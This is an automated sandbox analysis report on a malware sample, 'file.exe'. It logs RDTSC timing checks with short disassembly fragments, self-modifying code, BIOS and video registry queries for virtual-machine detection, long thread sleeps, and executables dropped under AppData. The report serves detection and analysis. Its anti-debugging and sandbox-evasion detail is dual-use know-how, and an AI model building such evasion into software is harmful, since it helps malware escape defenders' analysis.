Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50AF3 second address: 4B50AF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50AF7 second address: 4B50AFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50AFD second address: 4B50B46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ebx, eax 0x0000000d jmp 00007FBFE93CDB7Ah 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007FBFE93CDB7Bh 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FBFE93CDB85h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50B46 second address: 4B50B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50B4C second address: 4B50B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50B50 second address: 4B50B6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBFE8B00F02h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50B6E second address: 4B50B95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBFE93CDB85h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0A6A second address: 4BC0A79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dx, ax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC08A2 second address: 4BC08B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC08B0 second address: 4BC08B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC08B4 second address: 4BC08BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC08BA second address: 4BC0926 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBFE8B00F05h 0x00000009 sub ch, FFFFFFE6h 0x0000000c jmp 00007FBFE8B00F01h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FBFE8B00F00h 0x00000018 add si, CA88h 0x0000001d jmp 00007FBFE8B00EFBh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FBFE8B00F05h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60186 second address: 4B6018A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6018A second address: 4B60190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60190 second address: 4B60204 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 pushfd 0x00000007 jmp 00007FBFE93CDB88h 0x0000000c sub ax, A128h 0x00000011 jmp 00007FBFE93CDB7Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FBFE93CDB7Bh 0x00000024 or ecx, 03F3BA6Eh 0x0000002a jmp 00007FBFE93CDB89h 0x0000002f popfd 0x00000030 jmp 00007FBFE93CDB80h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60204 second address: 4B6020B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0CBA second address: 4BC0CD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0CD5 second address: 4BC0D88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007FBFE8B00F05h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FBFE8B00EFDh 0x00000018 and cx, 0416h 0x0000001d jmp 00007FBFE8B00F01h 0x00000022 popfd 0x00000023 jmp 00007FBFE8B00F00h 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c mov eax, 2914EC4Dh 0x00000031 pushfd 0x00000032 jmp 00007FBFE8B00EFAh 0x00000037 sbb eax, 1CF70F68h 0x0000003d jmp 00007FBFE8B00EFBh 0x00000042 popfd 0x00000043 popad 0x00000044 push dword ptr [ebp+0Ch] 0x00000047 jmp 00007FBFE8B00F06h 0x0000004c push dword ptr [ebp+08h] 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FBFE8B00F07h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0D88 second address: 4BC0DB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FBFE93CDB79h 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0DB2 second address: 4BC0DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0DB8 second address: 4BC0DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0DC5 second address: 4BC0DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0DC9 second address: 4BC0DCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0DCD second address: 4BC0DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0DD3 second address: 4BC0E00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBFE93CDB84h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0E6D second address: 4BC0E82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0E82 second address: 4BC0EE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx eax, al 0x0000000c pushad 0x0000000d push esi 0x0000000e call 00007FBFE93CDB83h 0x00000013 pop eax 0x00000014 pop edi 0x00000015 pushfd 0x00000016 jmp 00007FBFE93CDB86h 0x0000001b and ch, 00000028h 0x0000001e jmp 00007FBFE93CDB7Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop ebp 0x00000026 pushad 0x00000027 mov cx, F33Bh 0x0000002b push eax 0x0000002c push edx 0x0000002d mov bx, cx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B704E9 second address: 4B7050C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 mov si, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FBFE8B00EFFh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7050C second address: 4B70512 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70512 second address: 4B70518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70518 second address: 4B7051C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7051C second address: 4B70585 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push FFFFFFFEh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FBFE8B00EFDh 0x00000016 sub ecx, 4692B686h 0x0000001c jmp 00007FBFE8B00F01h 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007FBFE8B00F00h 0x00000028 xor ecx, 26BCD128h 0x0000002e jmp 00007FBFE8B00EFBh 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70585 second address: 4B7058B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7058B second address: 4B7058F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7058F second address: 4B705AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FBFE93CDB79h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBFE93CDB7Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B705AC second address: 4B705B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B705B2 second address: 4B705B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B705B6 second address: 4B705ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00EFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FBFE8B00F01h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FBFE8B00EFCh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B705ED second address: 4B7062B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov cx, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007FBFE93CDB86h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 movsx ebx, ax 0x0000001a jmp 00007FBFE93CDB7Ah 0x0000001f popad 0x00000020 pop eax 0x00000021 pushad 0x00000022 mov edx, ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7062B second address: 4B7062F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7062F second address: 4B706ED instructions: 0x00000000 rdtsc 0x00000002 mov al, A2h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push 01479028h 0x0000000c jmp 00007FBFE93CDB7Eh 0x00000011 add dword ptr [esp], 75A91DD8h 0x00000018 jmp 00007FBFE93CDB80h 0x0000001d mov eax, dword ptr fs:[00000000h] 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FBFE93CDB7Eh 0x0000002a or ax, 4F68h 0x0000002f jmp 00007FBFE93CDB7Bh 0x00000034 popfd 0x00000035 pushfd 0x00000036 jmp 00007FBFE93CDB88h 0x0000003b and ecx, 6739A1C8h 0x00000041 jmp 00007FBFE93CDB7Bh 0x00000046 popfd 0x00000047 popad 0x00000048 nop 0x00000049 jmp 00007FBFE93CDB86h 0x0000004e push eax 0x0000004f jmp 00007FBFE93CDB7Bh 0x00000054 nop 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 call 00007FBFE93CDB82h 0x0000005d pop eax 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B706ED second address: 4B70758 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FBFE8B00EFBh 0x00000008 and ecx, 32C8B61Eh 0x0000000e jmp 00007FBFE8B00F09h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007FBFE8B00F00h 0x0000001c sub ecx, 2F5B2C18h 0x00000022 jmp 00007FBFE8B00EFBh 0x00000027 popfd 0x00000028 popad 0x00000029 sub esp, 1Ch 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FBFE8B00F00h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70758 second address: 4B70767 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70767 second address: 4B70794 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBFE8B00EFDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70794 second address: 4B707C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBFE93CDB83h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B707C1 second address: 4B707C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B707C7 second address: 4B7082A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FBFE93CDB80h 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov di, F610h 0x00000017 pushfd 0x00000018 jmp 00007FBFE93CDB89h 0x0000001d or ax, B496h 0x00000022 jmp 00007FBFE93CDB81h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7082A second address: 4B7085E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBFE8B00F07h 0x00000008 mov cx, D4EFh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBFE8B00F00h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7085E second address: 4B70880 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, bh 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBFE93CDB85h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B709E0 second address: 4B70A34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov esi, dword ptr [ebp+08h] 0x0000000d jmp 00007FBFE8B00F03h 0x00000012 mov eax, dword ptr [esi+10h] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FBFE8B00EFBh 0x0000001e sub si, E6FEh 0x00000023 jmp 00007FBFE8B00F09h 0x00000028 popfd 0x00000029 mov edi, esi 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70A34 second address: 4B70A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBFE93CDB88h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70A50 second address: 4B70A54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70A54 second address: 4B70A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a jmp 00007FBFE93CDB87h 0x0000000f jne 00007FC05B71CE25h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov al, CAh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70A81 second address: 4B70B0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub eax, eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FBFE8B00F07h 0x00000012 adc ax, E12Eh 0x00000017 jmp 00007FBFE8B00F09h 0x0000001c popfd 0x0000001d push eax 0x0000001e pushad 0x0000001f popad 0x00000020 pop edi 0x00000021 popad 0x00000022 mov dword ptr [ebp-20h], eax 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FBFE8B00F06h 0x0000002c add eax, 60A769D8h 0x00000032 jmp 00007FBFE8B00EFBh 0x00000037 popfd 0x00000038 push eax 0x00000039 push edx 0x0000003a movzx eax, di 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70B0E second address: 4B70B45 instructions: 0x00000000 rdtsc 0x00000002 movsx edi, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov ebx, dword ptr [esi] 0x0000000a jmp 00007FBFE93CDB7Ah 0x0000000f mov dword ptr [ebp-24h], ebx 0x00000012 jmp 00007FBFE93CDB80h 0x00000017 test ebx, ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FBFE93CDB7Ah 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70B45 second address: 4B70B4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70B4B second address: 4B70B50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70B50 second address: 4B70B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007FC05AE5001Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBFE8B00F02h 0x00000014 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 16ED2A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3A2D2C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 96ED2A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: BA2D2C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Special instruction interceptor: First address: EA378F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Special instruction interceptor: First address: EA3706 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Special instruction interceptor: First address: 105176E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Special instruction interceptor: First address: 10787F3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	Special instruction interceptor: First address: 10D9C3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Special instruction interceptor: First address: 84378F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Special instruction interceptor: First address: 843706 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Special instruction interceptor: First address: 9F176E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Special instruction interceptor: First address: A187F3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Special instruction interceptor: First address: A79C3D instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04BC0DAE rdtsc

0_2_04BC0DAE

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1311	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1073	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 1041	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 930	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Window / User API: threadDelayed 9904	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

API coverage: 4.0 %

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7688	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7680	Thread sleep count: 1311 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7680	Thread sleep time: -2623311s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7644	Thread sleep count: 315 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7644	Thread sleep time: -9450000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7684	Thread sleep count: 1073 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7684	Thread sleep time: -2147073s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7672	Thread sleep count: 1041 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7672	Thread sleep time: -2083041s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7792	Thread sleep time: -1080000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7680	Thread sleep count: 930 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7680	Thread sleep time: -1860930s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe TID: 7988	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe TID: 7988	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe TID: 8160	Thread sleep time: -99040s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe

Thread sleep count: Count: 9904 delay: -10

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe	Code function: 6_2_00B4DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	6_2_00B4DBBE
